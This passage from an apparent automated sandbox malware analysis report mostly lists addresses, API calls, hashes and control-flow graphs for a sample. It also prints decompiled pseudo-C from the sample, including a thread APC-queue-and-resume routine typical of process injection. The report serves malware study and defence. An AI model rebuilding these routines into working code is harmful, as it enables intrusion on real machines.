                                                                                                                                                                                                                                                                                                      0x00404e3d
                                                                                                                                                                                                                                                                                                      0x00404e0f
                                                                                                                                                                                                                                                                                                      0x00404e43
                                                                                                                                                                                                                                                                                                      0x00404e4b
                                                                                                                                                                                                                                                                                                      0x00404e4b
                                                                                                                                                                                                                                                                                                      0x00404e5f
                                                                                                                                                                                                                                                                                                      0x00404e64
                                                                                                                                                                                                                                                                                                      0x00404e67
                                                                                                                                                                                                                                                                                                      0x00404e67
                                                                                                                                                                                                                                                                                                      0x00404cf6
                                                                                                                                                                                                                                                                                                      0x00404e6d
                                                                                                                                                                                                                                                                                                      0x00404e72
                                                                                                                                                                                                                                                                                                      0x00404e72
                                                                                                                                                                                                                                                                                                      0x00404cb6
                                                                                                                                                                                                                                                                                                      0x00404e7a
                                                                                                                                                                                                                                                                                                      0x00404e86
                                                                                                                                                                                                                                                                                                      0x00404e92
                                                                                                                                                                                                                                                                                                      0x00404e9e
                                                                                                                                                                                                                                                                                                      0x00404eaa
                                                                                                                                                                                                                                                                                                      0x00404eb6
                                                                                                                                                                                                                                                                                                      0x00404ec2
                                                                                                                                                                                                                                                                                                      0x00404ece
                                                                                                                                                                                                                                                                                                      0x00404eda
                                                                                                                                                                                                                                                                                                      0x00404ee6
                                                                                                                                                                                                                                                                                                      0x00404ef2
                                                                                                                                                                                                                                                                                                      0x00404efe
                                                                                                                                                                                                                                                                                                      0x00404f0a
                                                                                                                                                                                                                                                                                                      0x00404f16
                                                                                                                                                                                                                                                                                                      0x00404f22
                                                                                                                                                                                                                                                                                                      0x00404f2e
                                                                                                                                                                                                                                                                                                      0x00404f3a
                                                                                                                                                                                                                                                                                                      0x00404f46
                                                                                                                                                                                                                                                                                                      0x00404f52
                                                                                                                                                                                                                                                                                                      0x00404f5e
                                                                                                                                                                                                                                                                                                      0x00404f67
                                                                                                                                                                                                                                                                                                      0x00404f73
                                                                                                                                                                                                                                                                                                      0x00404f7f
                                                                                                                                                                                                                                                                                                      0x00404f8b
                                                                                                                                                                                                                                                                                                      0x00404f97
                                                                                                                                                                                                                                                                                                      0x00404fa3
                                                                                                                                                                                                                                                                                                      0x00404faf
                                                                                                                                                                                                                                                                                                      0x00404fbb
                                                                                                                                                                                                                                                                                                      0x00404fc7
                                                                                                                                                                                                                                                                                                      0x00404fd3
                                                                                                                                                                                                                                                                                                      0x00404fdf
                                                                                                                                                                                                                                                                                                      0x00404feb
                                                                                                                                                                                                                                                                                                      0x00404ff7
                                                                                                                                                                                                                                                                                                      0x00405003
                                                                                                                                                                                                                                                                                                      0x0040500f
                                                                                                                                                                                                                                                                                                      0x0040501b
                                                                                                                                                                                                                                                                                                      0x00405024
                                                                                                                                                                                                                                                                                                      0x00405030
                                                                                                                                                                                                                                                                                                      0x0040503c
                                                                                                                                                                                                                                                                                                      0x00405048
                                                                                                                                                                                                                                                                                                      0x00405054
                                                                                                                                                                                                                                                                                                      0x00405060
                                                                                                                                                                                                                                                                                                      0x0040506c
                                                                                                                                                                                                                                                                                                      0x00405078
                                                                                                                                                                                                                                                                                                      0x00405084
                                                                                                                                                                                                                                                                                                      0x00405090
                                                                                                                                                                                                                                                                                                      0x0040509c
                                                                                                                                                                                                                                                                                                      0x004050a8
                                                                                                                                                                                                                                                                                                      0x004050b4
                                                                                                                                                                                                                                                                                                      0x004050c0
                                                                                                                                                                                                                                                                                                      0x004050cc
                                                                                                                                                                                                                                                                                                      0x004050d8
                                                                                                                                                                                                                                                                                                      0x004050e4
                                                                                                                                                                                                                                                                                                      0x004050f0
                                                                                                                                                                                                                                                                                                      0x004050fc
                                                                                                                                                                                                                                                                                                      0x00405108
                                                                                                                                                                                                                                                                                                      0x00405114
                                                                                                                                                                                                                                                                                                      0x0040511d
                                                                                                                                                                                                                                                                                                      0x00405129
                                                                                                                                                                                                                                                                                                      0x00405135
                                                                                                                                                                                                                                                                                                      0x00405141
                                                                                                                                                                                                                                                                                                      0x0040514d
                                                                                                                                                                                                                                                                                                      0x00405159
                                                                                                                                                                                                                                                                                                      0x00405165
                                                                                                                                                                                                                                                                                                      0x00405171
                                                                                                                                                                                                                                                                                                      0x0040517d
                                                                                                                                                                                                                                                                                                      0x00405189
                                                                                                                                                                                                                                                                                                      0x00405195
                                                                                                                                                                                                                                                                                                      0x004051a1
                                                                                                                                                                                                                                                                                                      0x004051ad
                                                                                                                                                                                                                                                                                                      0x004051b9
                                                                                                                                                                                                                                                                                                      0x004051c5
                                                                                                                                                                                                                                                                                                      0x004051d1
                                                                                                                                                                                                                                                                                                      0x004051dd
                                                                                                                                                                                                                                                                                                      0x004051e9
                                                                                                                                                                                                                                                                                                      0x004051f5
                                                                                                                                                                                                                                                                                                      0x004051fe
                                                                                                                                                                                                                                                                                                      0x00405205
                                                                                                                                                                                                                                                                                                      0x0040520c
                                                                                                                                                                                                                                                                                                      0x0040521e
                                                                                                                                                                                                                                                                                                      0x00405223
                                                                                                                                                                                                                                                                                                      0x00405228
                                                                                                                                                                                                                                                                                                      0x0040522e
                                                                                                                                                                                                                                                                                                      0x00405233
                                                                                                                                                                                                                                                                                                      0x00405236
                                                                                                                                                                                                                                                                                                      0x00405236
                                                                                                                                                                                                                                                                                                      0x00405239
                                                                                                                                                                                                                                                                                                      0x00405240
                                                                                                                                                                                                                                                                                                      0x00405252
                                                                                                                                                                                                                                                                                                      0x00405257
                                                                                                                                                                                                                                                                                                      0x0040525c
                                                                                                                                                                                                                                                                                                      0x00405262
                                                                                                                                                                                                                                                                                                      0x00405267
                                                                                                                                                                                                                                                                                                      0x0040526a
                                                                                                                                                                                                                                                                                                      0x0040526a
                                                                                                                                                                                                                                                                                                      0x0040526d
                                                                                                                                                                                                                                                                                                      0x00405274
                                                                                                                                                                                                                                                                                                      0x00405283
                                                                                                                                                                                                                                                                                                      0x00405288
                                                                                                                                                                                                                                                                                                      0x0040528d
                                                                                                                                                                                                                                                                                                      0x00405293
                                                                                                                                                                                                                                                                                                      0x00405298
                                                                                                                                                                                                                                                                                                      0x0040529b
                                                                                                                                                                                                                                                                                                      0x0040529b
                                                                                                                                                                                                                                                                                                      0x0040529e
                                                                                                                                                                                                                                                                                                      0x004052a5
                                                                                                                                                                                                                                                                                                      0x004052b7
                                                                                                                                                                                                                                                                                                      0x004052bc
                                                                                                                                                                                                                                                                                                      0x004052c1
                                                                                                                                                                                                                                                                                                      0x004052c7
                                                                                                                                                                                                                                                                                                      0x004052cc
                                                                                                                                                                                                                                                                                                      0x004052cf
                                                                                                                                                                                                                                                                                                      0x004052cf
                                                                                                                                                                                                                                                                                                      0x004052db
                                                                                                                                                                                                                                                                                                      0x004052de
                                                                                                                                                                                                                                                                                                      0x004052e1
                                                                                                                                                                                                                                                                                                      0x004052ee
                                                                                                                                                                                                                                                                                                      0x004052f2
                                                                                                                                                                                                                                                                                                      0x004052f7
                                                                                                                                                                                                                                                                                                      0x004052fc
                                                                                                                                                                                                                                                                                                      0x00405306
                                                                                                                                                                                                                                                                                                      0x00405310
                                                                                                                                                                                                                                                                                                      0x00405315
                                                                                                                                                                                                                                                                                                      0x0040531b
                                                                                                                                                                                                                                                                                                      0x00405323
                                                                                                                                                                                                                                                                                                      0x00405323
                                                                                                                                                                                                                                                                                                      0x0040532a
                                                                                                                                                                                                                                                                                                      0x0040532f
                                                                                                                                                                                                                                                                                                      0x00405330
                                                                                                                                                                                                                                                                                                      0x00405333
                                                                                                                                                                                                                                                                                                      0x0040533f
                                                                                                                                                                                                                                                                                                      0x00405347
                                                                                                                                                                                                                                                                                                      0x00405347
                                                                                                                                                                                                                                                                                                      0x0040534e
                                                                                                                                                                                                                                                                                                      0x00405353
                                                                                                                                                                                                                                                                                                      0x00405357
                                                                                                                                                                                                                                                                                                      0x00405363
                                                                                                                                                                                                                                                                                                      0x00405368
                                                                                                                                                                                                                                                                                                      0x0040536b
                                                                                                                                                                                                                                                                                                      0x0040536b
                                                                                                                                                                                                                                                                                                      0x00405372
                                                                                                                                                                                                                                                                                                      0x0040537c
                                                                                                                                                                                                                                                                                                      0x00405381
                                                                                                                                                                                                                                                                                                      0x00405387
                                                                                                                                                                                                                                                                                                      0x0040538f
                                                                                                                                                                                                                                                                                                      0x0040538f
                                                                                                                                                                                                                                                                                                      0x00405372
                                                                                                                                                                                                                                                                                                      0x00405396
                                                                                                                                                                                                                                                                                                      0x004053a2
                                                                                                                                                                                                                                                                                                      0x004053ae
                                                                                                                                                                                                                                                                                                      0x004053b3
                                                                                                                                                                                                                                                                                                      0x004053b3
                                                                                                                                                                                                                                                                                                      0x004053ba
                                                                                                                                                                                                                                                                                                      0x004053c7
                                                                                                                                                                                                                                                                                                      0x004053cc
                                                                                                                                                                                                                                                                                                      0x004053d1
                                                                                                                                                                                                                                                                                                      0x004053e8
                                                                                                                                                                                                                                                                                                      0x004053f2
                                                                                                                                                                                                                                                                                                      0x0040540a
                                                                                                                                                                                                                                                                                                      0x00405414
                                                                                                                                                                                                                                                                                                      0x00405428
                                                                                                                                                                                                                                                                                                      0x00405432
                                                                                                                                                                                                                                                                                                      0x00405432
                                                                                                                                                                                                                                                                                                      0x004053d1
                                                                                                                                                                                                                                                                                                      0x00405435
                                                                                                                                                                                                                                                                                                      0x00405437
                                                                                                                                                                                                                                                                                                      0x00405446
                                                                                                                                                                                                                                                                                                      0x0040544d
                                                                                                                                                                                                                                                                                                      0x004054fd
                                                                                                                                                                                                                                                                                                      0x00405501
                                                                                                                                                                                                                                                                                                      0x00405511
                                                                                                                                                                                                                                                                                                      0x0040551b
                                                                                                                                                                                                                                                                                                      0x00405523
                                                                                                                                                                                                                                                                                                      0x00405525
                                                                                                                                                                                                                                                                                                      0x00405525
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00405453
                                                                                                                                                                                                                                                                                                      0x0040545a
                                                                                                                                                                                                                                                                                                      0x0040545f
                                                                                                                                                                                                                                                                                                      0x00405462
                                                                                                                                                                                                                                                                                                      0x00405469
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040546f
                                                                                                                                                                                                                                                                                                      0x00405472
                                                                                                                                                                                                                                                                                                      0x00405476
                                                                                                                                                                                                                                                                                                      0x00405487
                                                                                                                                                                                                                                                                                                      0x004054f1
                                                                                                                                                                                                                                                                                                      0x004054f5
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x004054fa
                                                                                                                                                                                                                                                                                                      0x00405493
                                                                                                                                                                                                                                                                                                      0x00405497
                                                                                                                                                                                                                                                                                                      0x0040549c
                                                                                                                                                                                                                                                                                                      0x004054a1
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x004054a3
                                                                                                                                                                                                                                                                                                      0x004054b5
                                                                                                                                                                                                                                                                                                      0x004054d6
                                                                                                                                                                                                                                                                                                      0x004054db
                                                                                                                                                                                                                                                                                                      0x004054e1
                                                                                                                                                                                                                                                                                                      0x004054e3
                                                                                                                                                                                                                                                                                                      0x004054ec
                                                                                                                                                                                                                                                                                                      0x004054b2
                                                                                                                                                                                                                                                                                                      0x004054b2
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x004054b5
                                                                                                                                                                                                                                                                                                      0x00404af0
                                                                                                                                                                                                                                                                                                      0x00404af4
                                                                                                                                                                                                                                                                                                      0x00404af9
                                                                                                                                                                                                                                                                                                      0x00404afc
                                                                                                                                                                                                                                                                                                      0x00404b03
                                                                                                                                                                                                                                                                                                      0x00404b0d
                                                                                                                                                                                                                                                                                                      0x00404b12
                                                                                                                                                                                                                                                                                                      0x00404b17
                                                                                                                                                                                                                                                                                                      0x00404b22
                                                                                                                                                                                                                                                                                                      0x00404b26
                                                                                                                                                                                                                                                                                                      0x00404b32
                                                                                                                                                                                                                                                                                                      0x00404b3a
                                                                                                                                                                                                                                                                                                      0x00404b3a
                                                                                                                                                                                                                                                                                                      0x00404b17
                                                                                                                                                                                                                                                                                                      0x00404b41
                                                                                                                                                                                                                                                                                                      0x00404b46
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00404b46

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00100001,00000018,?,00000000,00000080,00000001,00000001,00000000,00000000,00000000), ref: 00404D89
                                                                                                                                                                                                                                                                                                      • NtQueryVolumeInformationFile.NTDLL(00000000,?,?,00000018,00000001), ref: 00404DE9
                                                                                                                                                                                                                                                                                                        • Part of subcall function 00407700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00004000,00000000), ref: 00407728
                                                                                                                                                                                                                                                                                                        • Part of subcall function 00407700: NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00407741
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FileFreeMemoryVirtual$CreateInformationQueryVolume
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 1584834698-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: c9fba7945a47f58af6bf680b0c2abbc2070e6c26120e427274a61ed1c80f1115
                                                                                                                                                                                                                                                                                                      • Instruction ID: 954e1c5dd1481f66e93065cc17d36fb0f0842cf744db0319bb08a003eda01ae5
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c9fba7945a47f58af6bf680b0c2abbc2070e6c26120e427274a61ed1c80f1115
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9B6207B0A106189BDB14DFA4DC41BDEB371EF58305F1484A9E20CAB391E7799E84CF59
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 207 406970-406981 208 406983-406986 207->208 209 40698b-4069a9 call 4016e0 207->209 210 406a3f-406a42 208->210 214 406a3c 209->214 215 4069af-406a0d call 4016e0 NtCreateFile 209->215 214->210 218 406a23-406a37 call 40d560 call 4016e0 215->218 219 406a0f-406a1f call 4016e0 215->219 218->214 219->218
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 61%
                                                                                                                                                                                                                                                                                                      			E00406970(intOrPtr _a4) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				void* _v28;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v32;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v36;
                                                                                                                                                                                                                                                                                                      				long _v40;
                                                                                                                                                                                                                                                                                                      				char* _v44;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v48;
                                                                                                                                                                                                                                                                                                      				void* _v52;
                                                                                                                                                                                                                                                                                                      				long _t32;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v20);
                                                                                                                                                                                                                                                                                                      					_push(_a4);
                                                                                                                                                                                                                                                                                                      					if(( *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x170))))() & 0x000000ff) != 0) {
                                                                                                                                                                                                                                                                                                      						_v52 = 0x18;
                                                                                                                                                                                                                                                                                                      						_v48 = 0;
                                                                                                                                                                                                                                                                                                      						_v40 = 0x40;
                                                                                                                                                                                                                                                                                                      						_v44 =  &_v20;
                                                                                                                                                                                                                                                                                                      						_v36 = 0;
                                                                                                                                                                                                                                                                                                      						_v32 = 0;
                                                                                                                                                                                                                                                                                                      						_v12 = 0;
                                                                                                                                                                                                                                                                                                      						E004016E0();
                                                                                                                                                                                                                                                                                                      						_t32 = NtCreateFile( &_v12, 0x80,  &_v52,  &_v28, 0, 0, 1, 1, 0x40, 0, 0); // executed
                                                                                                                                                                                                                                                                                                      						if(_t32 >= 0) {
                                                                                                                                                                                                                                                                                                      							_v8 = 1;
                                                                                                                                                                                                                                                                                                      							_push(_v12);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E004016E0()))))();
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v16);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( *((intOrPtr*)(E0040D560() + 0x18)));
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x28))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v8;
                                                                                                                                                                                                                                                                                                      			}















                                                                                                                                                                                                                                                                                                      0x00406976
                                                                                                                                                                                                                                                                                                      0x00406981
                                                                                                                                                                                                                                                                                                      0x0040698b
                                                                                                                                                                                                                                                                                                      0x0040698d
                                                                                                                                                                                                                                                                                                      0x00406992
                                                                                                                                                                                                                                                                                                      0x00406996
                                                                                                                                                                                                                                                                                                      0x004069a9
                                                                                                                                                                                                                                                                                                      0x004069af
                                                                                                                                                                                                                                                                                                      0x004069b6
                                                                                                                                                                                                                                                                                                      0x004069bd
                                                                                                                                                                                                                                                                                                      0x004069c7
                                                                                                                                                                                                                                                                                                      0x004069ca
                                                                                                                                                                                                                                                                                                      0x004069d1
                                                                                                                                                                                                                                                                                                      0x004069d8
                                                                                                                                                                                                                                                                                                      0x004069fe
                                                                                                                                                                                                                                                                                                      0x00406a09
                                                                                                                                                                                                                                                                                                      0x00406a0d
                                                                                                                                                                                                                                                                                                      0x00406a0f
                                                                                                                                                                                                                                                                                                      0x00406a19
                                                                                                                                                                                                                                                                                                      0x00406a21
                                                                                                                                                                                                                                                                                                      0x00406a21
                                                                                                                                                                                                                                                                                                      0x00406a26
                                                                                                                                                                                                                                                                                                      0x00406a27
                                                                                                                                                                                                                                                                                                      0x00406a31
                                                                                                                                                                                                                                                                                                      0x00406a3a
                                                                                                                                                                                                                                                                                                      0x00406a3a
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00406a3c
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtCreateFile.NTDLL(00000000,00000080,00000018,?,00000000,00000000,00000001,00000001,00000040,00000000,00000000), ref: 00406A09
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                                                                                      • String ID: @
                                                                                                                                                                                                                                                                                                      • API String ID: 823142352-2766056989
                                                                                                                                                                                                                                                                                                      • Opcode ID: fdef0d47fcc054b6e310ebe47e59d0216845e7e42eb074a3203b5017a8ff29ab
                                                                                                                                                                                                                                                                                                      • Instruction ID: bb263e94b8d3408af27b70786d6667eb3b84c9d1139670bfa09920dd61b19f6f
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fdef0d47fcc054b6e310ebe47e59d0216845e7e42eb074a3203b5017a8ff29ab
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 46214F70A50208ABEB14DF95CC85FEE77B8AF04744F108169F6057B2D0CBB9A945CB98
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 226 40a500-40a511 227 40a513-40a516 226->227 228 40a51b-40a534 call 40a310 226->228 229 40a5c1-40a5c4 227->229 232 40a536-40a548 call 40a140 228->232 233 40a54b-40a54f 228->233 232->233 234 40a551-40a573 call 4016e0 RtlQueueApcWow64Thread 233->234 235 40a5be 233->235 240 40a5a5-40a5bb call 409b90 234->240 241 40a575-40a5a3 call 4016e0 * 2 NtResumeThread 234->241 235->229 240->235 241->235
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 62%
                                                                                                                                                                                                                                                                                                      			E0040A500(intOrPtr _a4, void* _a8, intOrPtr _a12) {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				long* _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t27;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t31;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t40;
                                                                                                                                                                                                                                                                                                      				void* _t50;
                                                                                                                                                                                                                                                                                                      				void* _t51;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_t42 = _a4;
                                                                                                                                                                                                                                                                                                      					_t27 = E0040A310(_a4, _a4, 0, _a12); // executed
                                                                                                                                                                                                                                                                                                      					_t51 = _t50 + 0xc;
                                                                                                                                                                                                                                                                                                      					_v8 = _t27;
                                                                                                                                                                                                                                                                                                      					if(_v8 == 0xffffffff) {
                                                                                                                                                                                                                                                                                                      						_t40 = E0040A140(_t42, _a4, 0, _a12);
                                                                                                                                                                                                                                                                                                      						_t51 = _t51 + 0xc;
                                                                                                                                                                                                                                                                                                      						_v8 = _t40;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0xffffffff) {
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						_push(_a8);
                                                                                                                                                                                                                                                                                                      						_t31 =  *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0xa8))))(); // executed
                                                                                                                                                                                                                                                                                                      						_v16 = _t31;
                                                                                                                                                                                                                                                                                                      						if(_v16 < 0) {
                                                                                                                                                                                                                                                                                                      							_v12 = E00409B90(_a4, _v8, 0, 0, 0);
                                                                                                                                                                                                                                                                                                      						} else {
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_push(1);
                                                                                                                                                                                                                                                                                                      							_push(_a8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0xac))))();
                                                                                                                                                                                                                                                                                                      							E004016E0();
                                                                                                                                                                                                                                                                                                      							NtResumeThread(_a8, 0); // executed
                                                                                                                                                                                                                                                                                                      							_v12 = 1;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v12;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v12;
                                                                                                                                                                                                                                                                                                      			}











                                                                                                                                                                                                                                                                                                      0x0040a506
                                                                                                                                                                                                                                                                                                      0x0040a511
                                                                                                                                                                                                                                                                                                      0x0040a521
                                                                                                                                                                                                                                                                                                      0x0040a525
                                                                                                                                                                                                                                                                                                      0x0040a52a
                                                                                                                                                                                                                                                                                                      0x0040a52d
                                                                                                                                                                                                                                                                                                      0x0040a534
                                                                                                                                                                                                                                                                                                      0x0040a540
                                                                                                                                                                                                                                                                                                      0x0040a545
                                                                                                                                                                                                                                                                                                      0x0040a548
                                                                                                                                                                                                                                                                                                      0x0040a548
                                                                                                                                                                                                                                                                                                      0x0040a54f
                                                                                                                                                                                                                                                                                                      0x0040a551
                                                                                                                                                                                                                                                                                                      0x0040a553
                                                                                                                                                                                                                                                                                                      0x0040a555
                                                                                                                                                                                                                                                                                                      0x0040a55a
                                                                                                                                                                                                                                                                                                      0x0040a55e
                                                                                                                                                                                                                                                                                                      0x0040a56a
                                                                                                                                                                                                                                                                                                      0x0040a56c
                                                                                                                                                                                                                                                                                                      0x0040a573
                                                                                                                                                                                                                                                                                                      0x0040a5bb
                                                                                                                                                                                                                                                                                                      0x0040a575
                                                                                                                                                                                                                                                                                                      0x0040a575
                                                                                                                                                                                                                                                                                                      0x0040a577
                                                                                                                                                                                                                                                                                                      0x0040a579
                                                                                                                                                                                                                                                                                                      0x0040a57e
                                                                                                                                                                                                                                                                                                      0x0040a58a
                                                                                                                                                                                                                                                                                                      0x0040a592
                                                                                                                                                                                                                                                                                                      0x0040a59a
                                                                                                                                                                                                                                                                                                      0x0040a59c
                                                                                                                                                                                                                                                                                                      0x0040a59c
                                                                                                                                                                                                                                                                                                      0x0040a573
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040a5be
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • RtlQueueApcWow64Thread.NTDLL(00000000,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0040A56A
                                                                                                                                                                                                                                                                                                      • NtResumeThread.NTDLL(00000000,00000000), ref: 0040A59A
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Thread$QueueResumeWow64
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2633193833-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 799ecc0224fb39bb71e7f2f7ecf80ffe08614f04e4fcde8bb0a98cf5261b229a
                                                                                                                                                                                                                                                                                                      • Instruction ID: 2d4f7260a1023e50caa094a1f365b6e0778403d0803f25708095cc2a500da0fa
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 799ecc0224fb39bb71e7f2f7ecf80ffe08614f04e4fcde8bb0a98cf5261b229a
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DB215071A40308FFDB10EFA4CC86F9E77B4AB44714F208569FA146F2D1D679AA50CB45
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 249 407700-407708 250 407743-407746 249->250 251 40770a-407741 call 4016e0 NtFreeVirtualMemory call 4016e0 NtFreeVirtualMemory 249->251 251->250
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 28%
                                                                                                                                                                                                                                                                                                      			E00407700(void* __ecx, char _a4) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				void* _t9;
                                                                                                                                                                                                                                                                                                      				void* _t15;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
